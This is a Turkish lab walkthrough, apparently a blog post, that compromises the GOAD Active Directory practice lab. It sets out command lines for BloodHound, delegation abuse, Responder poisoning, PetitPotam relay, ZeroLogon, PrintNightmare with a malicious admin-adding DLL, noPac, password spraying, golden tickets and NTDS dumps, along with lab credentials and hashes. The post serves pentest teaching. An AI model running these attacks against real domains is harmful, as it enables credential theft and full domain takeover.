Tekrar selamlar. Önceki yazımda olabildiğince credential toplamaya bakmıştık. Hatırlamak açısından elimizde 6 farklı kullanıcı adı : parola ikilisi vardı.
- samwell.tarly : Heartsbane
- jeor.mormont : _L0ngCl@w_
- brandon.stark : iseedeadpeople
- arya.stark : Needle.
- jon.snow : iknownothing
- hodor : hodor
2 — Bloodhound ve Roadmap
Elde ettiğimiz bilgiler ile ne yapabileceğimize bakalım. Bu kısımda Bloodhound aracını çalıştırarak active directory ortamında izleyebileceğimiz yollara bakacağız.
Aşağıdaki komutlar ile 3 domain için de bloodhound çalıştırıp data collect edebiliriz.
bloodhound-python -u 'brandon.stark' -p 'iseedeadpeople' -d north.sevenkingdoms.local -dc winterfell.north.sevenkingdoms.local -ns 192.168.56.12 --zip -c All
Dataları collect ettikten sonra bloodhound ortamını ayağa kaldıralım.
sudo neo4j start
neo4j’i başlattıktan sonra terminalde bloodhound yazmamız yeterli.
Sonrasında bloodhound grafik arayüzü açılacak. Topladığımız dataları bloodhound’a sürükle bırak yaparak atalım.
Bundan sonrasında bloodhound içerisinde default bulunan query’leri kurcalayabilirsiniz. Ayrıca custom query’ler de upload edip derinlemesine analiz yapılabilir. Buradan custom query’ler için bir json indirebilirsiniz.
Elde ettiğimiz kullanıcıları “owned” olarak işaretlemeyi unutmayalım.
High value grouplara bakalım.
MATCH p=(n:User)-[r:MemberOf*1..]->(m:Group {highvalue:true}) RETURN p
Aşağıdaki custom query ile kerberoastable user’ların domain admins’e shortest path’ine bakabiliriz.
MATCH (u:User {hasspn:true}) MATCH (g:Group) WHERE g.name CONTAINS 'DOMAIN ADMINS' MATCH p = shortestPath( (u)-[*1..]->(g) ) RETURN p
“jon.snow” kullanıcımızın da “winterfell” isimli DC üzerinde AllowedToDelegate iznine sahip olduğunu görüyoruz.
Ayrıca tüm kullanıcılarımızdan domain admins’e giden yola bakmak için ilgili gruba sağ tıklayıp “Shortest Paths to Here from Owned” seçeneğini seçebiliriz.
Buralardan yürüyebiliriz tabii ama analizin dibine vurmamıza gerek yok çünkü GOAD’ın github reposunda aşağıdaki gibi şemamız var.
Zaten her şeyde olduğu gibi burada da bloodhound benimle epey uğraştı. Tüm domainlerden data collect edemedim ayrıca bloodhound grafik arayüzü de düzgün çalışmadı vs. o yüzden sadece AllowedToDelegate üzerinde duracağım.
MATCH (u:User {hasspn:true}) MATCH (g:Group) WHERE g.name CONTAINS 'DOMAIN ADMINS' MATCH p = shortestPath( (u)-[*1..]->(g) ) RETURN p
“jon.snow” kullanıcısından yola çıkarak path’imiz yukarıdaki gibi. Şimdi bakalım bu AllowedToDelegate ile ne yapabiliriz.
Sağ tıklayarak abuse kısmı ile ilgili bilgi alalım.
“Help” kısmına tıklıyoruz.
Bloodhound dostumuz bize böyle bir yol izlememizi söylüyor. Deneyelim bakalım.
impacket-getST -dc-ip 192.168.56.11 -spn cifs/winterfell.north.sevenkingdoms.local north.sevenkingdoms.local/jon.snow:iknownothing -impersonate 'Administrator'
Kerberos ticket’ını “Administrator@cifs_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache” olarak kaydettik.
Ticket’ımızın yolunu verelim.
export KRB5CCNAME=Administrator@cifs_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
Ticket elimizde olduğuna göre artık bi ntds dumplarız dimi…
Bunun için impacket’ın secrestdump’ını kullanalım.
impacket-secretsdump -k -no-pass north.sevenkingdoms.local/'Administrator'@winterfell.north.sevenkingdoms.local -o ntds
Domain Admin kullanıcıyı pwnlayalım.
nxc smb 192.168.56.11 -u 'eddard.stark' -H :d977b98c6c9282c5c478be1d97b237b8 -x 'whoami /groups'
ദ്ദി๑>•̀๑)
3 — VULNERABILITIES
Bu bölümde Active Directory sızma testleri sırasında kontrol edilmesi gereken güvenlik zafiyetleri ve saldırı yöntemleri üzerinde duracağız.
3.1— LLMNR&NBT-NS Poisoning
LLMNR&NBT-NS Poisoning, ağdaki isim çözümleme protokollerini hedef alan bir saldırı türü. Bu saldırı türünde saldırgan kişi ağdaki LLMNR&NBT-NS protokolleriyle yapılan requestleri yakalayıp spooflanmış bir dönüş yaparak NTLMv2 hashlerini elde etmeye çalışır.
Önemli Not: Eğer elinizde credential olmadan active directory testine başladıysanız LLMNR&NBT-NS Poisoning kesinlikle denemeniz gereken bir saldırı yöntemi. (Önceki part’a yazılabilirmiş😒)
İlk olarak responder ile ağdaki trafiği dinlememiz lazım.
responder -I <interface>
Böylece dinleme moduna geçmiş olduk. Aradan biraz zaman geçtikten sonra robb.stark kullanıcısının NTLMv2 hash’inin geldiğini görüyoruz.
Biz bloodhound kısmının sonunda“robb.stark” kullanıcısının parolasının “sexywolfy” olduğunu zaten görmüştük ama biraz daha bekleyince “eddard.stark” için de hash geldi.
Hashcat kullanarak bu hashleri kıralım.
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
Biraz bekledikten sonra hashcat’in rockyou.txt ile “eddard.stark” kullanıcısının hash’ini kıramadığını gördük.
Bu noktada fazla zorlamadan devam ediyorum.
Not: Hashcat’i rockyou.txt ile çalıştırdık ama gerçekçi bir senaryoda düz wordlist kullanmak yerine wordlist+ruleset, dic1+dic2 vs. gibi atak kombinasyonları ile desteklememiz en sağlıklısı olur.
3.2 — PetitPotam
Petitpotam basitçe anlatmak gerekirse bir NTLM relay saldırısı zafiyetidir. NTLM relay saldırısı, saldırganın, NTLM kimlik doğrulama isteğini ele geçirip bu kimlik bilgilerini başka bir hedefe yönlendirerek yetkisiz erişim sağlaması denebilir sanırım.👌
Bu zafiyetin tespiti için yine netexec ile petitpotam modulünü kullanalım.
nxc smb 192.168.56.0/24 -u 'brandon.stark' -p 'iseedeadpeople' -M petitpotam
Komutu çalıştırdığımızda “WINTERFELL” ve “CASTELBLACK” makinelerinin petitpotam zafiyetine sahip olduğunu görüyoruz.
Bu noktada north.sevenkingdoms.local tarafında yaptığım tüm denemelerde başarısız oldum ve diğer kullanıcılarla denedim. Yine başarısız olunca guest kullanıcı ile tekrar petitpotam modülünü çalıştırdım.
nxc smb 192.168.56.0/24 -u 'guest' -p '' -M petitpotam
Diğerlerinden farklı olarak burada essos.local domaininden 192.168.56.23 (BRAAVOS) makinesinin vulnerable olduğunu gördüğümden onu denemeye karar verdim.
Relay yapabilmek için kullanılacak bi kaç araç var. Ben ilk olarak certipy ile denesem de düzgün çalışmadı. (alıştık 😁👍)
Bu yüzden eski dostumuz impacket’ın ntlmrelayx.py scriptini kullanacağız.
impacket-ntlmrelayx -t http://192.168.56.23/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Şu an dinleme modundayız. Sırada PetitPotam.py scriptini çalıştırmak kaldı.
python3 PetitPotam.py <attacker-ip> <dc-ip>
PetitPotam’ı çalıştırdığımızda MEEREEN$ makinesinin B64 sertifikasının geldiğini görüyoruz.
Bu sertifikayı meereen.b64 olarak kaydedelim. Sonrasında PKINITtools’dan gettgtpkinit.py scriptini kullanarak kerberos ticket’ı soracağız.
python3 gettgtpkinit.py -pfx-base64 $(cat "meereen.b64") "essos.local"/"meereen$" "meereen.ccache"
Son olarak;
export KRB5CCNAME=meereen.ccache
Artık TGT elimizde olduğuna göre DCsync saldırısı ile NTDS dumplayabiliriz. Bunun için yine yeniden impacket’ın secrestdump’ını kullanacağız.
impacket-secretsdump -k -no-pass essos.local/'meereen$'@meereen.essos.local
Böylece essos.local’de domain admin yetkili kullanıcı ile DC üzerinde oturum açarak domain admin olabiliriz.
ദ്ദി๑>•̀๑)
3.3 — ZeroLogon (CVE-2020–1472)
ZeroLogon, netlogon şifreleme protokolünde yer alan bir hata nedeniyle ortaya çıkan bi zafiyet. Burada saldırgan belirli durumlarda kimlik doğrulama sürecinde kullanılan şifreleme anahtarını sıfırlayıp DC üzerinde tam yetki elde edebilir.
Zafiyetin tespiti için her zamanki gibi netexec’i kullanabiliriz.
nxc smb 192.168.56.12 -u '' -p '' -M zerologon
Null session ile baktığımızda meeren.essos.local makinesinde bu zafiyetin olduğunu görüyoruz.
Bu noktada zerologon için yazılmış cve-2020–1472-exploit.py scriptini kullanacağız.
Not: Zerologon zafiyetini sömürdüğümüzde makine hesabının parolasını empty string ile değiştirmiş oluyoruz. Buradaki restore steps kısmına bir göz atmakta fayda var.
python3 cve-2020-1472-exploit.py meereen 192.168.56.12
Exploit tamamlandıysa yapmamız gereken tek şey NTDS dumplamak. 👍
impacket-secretsdump -no-pass /'meereen$'@192.168.56.12
ദ്ദി๑>•̀๑)
3.4— PrintNightmare (CVE-2021–34527 & CVE-2021–1675)
“PrintNightmare”, Windows Print Spooler hizmetinde bulunan bir zafiyettir (CVE-2021–34527 ve CVE-2021–1675). Bu zafiyet ile hedef sistemde yazıcı sürücüsü yüklemek için gerekli izinler varsa veya “Print Spooler” hizmetinde açık varsa önceden hazırladığımız bir dll’i karşıya yükleyebilir ve sistemde uzaktan komut çalıştırabiliriz.
Öncelikle “spooler” servisinin enabled olup olmadığına bakalım. Impacket veya nxc ile bakılabilir.
nxc smb 192.168.56.0/24 -M spooler
impacket-rpcdump @192.168.56.10 | egrep 'MS-RPRN|MS-PAR'
Şimdi dll’i oluşturalım. Burada direkt olarak administrator hesabı ekleyebileceğim bir kod parçası buldum. Compile etmeden önce username ve password kısmını değiştirelim.
m3t3hn: PrintNightmare1234!
Compile edelim.
x86_64-w64-mingw32-gcc -shared -opnight.dll adduser.c -lnetapi32
dll’imizi oluşturduktan sonra bi smb share açmamız lazım.
impacket-smbserver -smb2support "pnight" .
Hazırlığımızı tamamladık. Şimdi buradan printnigtmare zafiyeti için geliştirilmiş exploit’i localimize indirdikten sonra aşağıdaki komutu çalıştırarak exploitation aşamasına geçebiliriz. 👍
python3 CVE-2021-1675.py north.sevenkingdoms.local/jon.snow:iknownothing@192.168.56.11 '\\192.168.56.107\pnight\terskabuk.dll'
Exploit çalıştığına göre yeni kullanıcımız ile ntds dumplayabiliriz.
nxc smb 192.168.56.11 -u 'm3t3hn' -p 'PrintNightmare1234!' -M ntdsutil
Bu noktada “sevenkingdoms.local” domain adminlerinin de hashleri gelince denedim ama yemedi… Sağlık olsun ദ്ദി๑>•̀๑)
3.5— NoPac (CVE-2021–42278 & CVE-2021–42287)
NoPac, “CVE-2021–42278” ve “CVE-2021–42287” zafiyetlerini kullanarak gerçekleştirilen bir saldırıdır. Bu senaryoda saldırgan kendi hesabının sAMAccountName’ini DC makinesininki ile aynı olacak şekilde değiştirir ve kerberos ticket’ı ister. “CVE-2021–42287” zafiyeti nedeniyle istek doğrulanmadan saldırgan ticket’ı elde edebilir.
Zafiyetin tespiti için netexec’in “nopac” modülünü kullanabiliriz.
nxc smb 192.168.56.11 -u 'hodor' -p 'hodor' -d north.sevenkingdoms.local -M nopac
“WINTERFELL” makinemizin vulnerable olduğunu gördük.
Zafiyeti sömürmek için direkt “noPac.py” scriptini kullanabiliriz. Tüm adımları bizim için otomatik hallediyor.
python noPac.py north.sevenkingdoms.local/hodor:hodor -dc-ip 192.168.56.11 -dump
Bu komut ile eski dostumuz “noPac.py” ne bulursa dump’lıyor.
Aynı zamanda biraz altlara indiğimizde göreceğimiz üzere NTDS’i de dumpladık.
Böylece domain admin kullanıcısı olan “eddard.stark” ile pass-to-hash yaparsak north.sevenkingdoms.local domainini de almış olacağız.
Süper. ദ്ദി๑>•̀๑)
Password Spray (Tekrar)
Şimdi bu noktada essos.local ve north.sevenkingdoms.local domainlerinde domain admin olduk. Sadece sevenkingdoms.local kaldı.
Başka bi işe girişmeden önce yazının başından beri aklımda olan powerkingftw135'i password spray için deneyeceğiz. 😁👍
Şimdiye kadar kenarda biriken NTLM hashlerinden bi users.txt yapalım.
sprayhound -U users.txt -p 'powerkingftw135' -d sevenkingdoms.local -dc 192.168.56.10 -t 2
Komutu çalıştırdığımızda tywin.lannister kullanıcısının parolası olduğunu görmüş olduk.
Deneyelim.
Bloodhound kısmında bu tarafta çok sorun yaşamıştım o yüzden bir de bu kullanıcı ile deneyelim.
bloodhound-python -u 'tywin.lannister' -p 'powerkingftw135' -d sevenkingdoms.local -dc kingslanding.sevenkingdoms.local -ns 192.168.56.12 --zip -c All
Bloodhound üzerinde elimizdeki kullanıcı ile domain admins’e shortest path’imize baktığımızda şöyle bir çorba görüyoruz.
Keyifli duruyor ama malesef buraya girişmeyeceğim çünkü daha kolayı var. 😁👍
3.6 — Golden Ticket
north.sevenkingdoms.local child domaininden parent domain’e zıplamak için birkaç yöntem olduğunu görüyoruz. Burada ben daha iyi duyulduğu için golden ticket atak yöntemini deneyeceğim.
Bu saldırıyı gerçekleştirmek için child ve parent domain SID’lerine ve krbtgt kullanıcısının NTLM hash değerine ihtiyacımız var.
Bunları topladıktan sonra impacket’ın ticketer script’i ile golden ticket oluşturabiliriz.
impacket-ticketer -domain-sid S-1-5-21-498823924-2022973653-1151335951 -domain north.sevenkingdoms.local -extra-sid S-1-5-21-2716113388-3468270711-3933251621-519 goldenticket -nthash c6e37597999b02c8e305757540067ef5
- -domain-sid : child domain SID
- -domain : child domain
- -extra-sid : parent domain SID + extraSID
- -nthash : krbtgt NTLM hash
Komutu çalıştırdığımızda golden ticket’ımız oluşmuş oldu.
Burada ekstra bir detay vermek lazım. Golden Ticket + extraSID saldırısı, “extraSID” kısmı ile normal golden ticket saldırısından farklı olarak sadece bir kullanıcı veya grubu taklit etmek yerine hedeflenen SID’e sahipmiş gibi hareket edilerek yetki yükseltme sağlanır.
-extra-sid ile verdiğimiz SID değerinin sonuna “-519" eklersek enterprise admins, “-512” eklersek domain admins grubunu temsil ediyor.
Oluşturduğumuz ticket ile ntds dumplayalım.
impacket-secretsdump -k -no-pass -just-dc-ntlm north.sevenkingdoms.local/goldenticket@kingslanding.sevenkingdoms.local
Domain admin kullanıcı ile oturum açalım.
nxc smb 192.168.56.10 -u 'cersei.lannister' -H :c247f62516b53893c7addcf8c349954b -x 'whoami /groups'
Böylece 3 domaini de almış olduk. (˶˃ ᵕ ˂˶) .ᐟ.ᐟ
Bu part’ı burada bitirelim. Sıradaki yazıda ADCS üzerindeki zafiyetlere bakacağız.
Okuduğun için teşekkürler. ദ്ദി๑>•̀๑)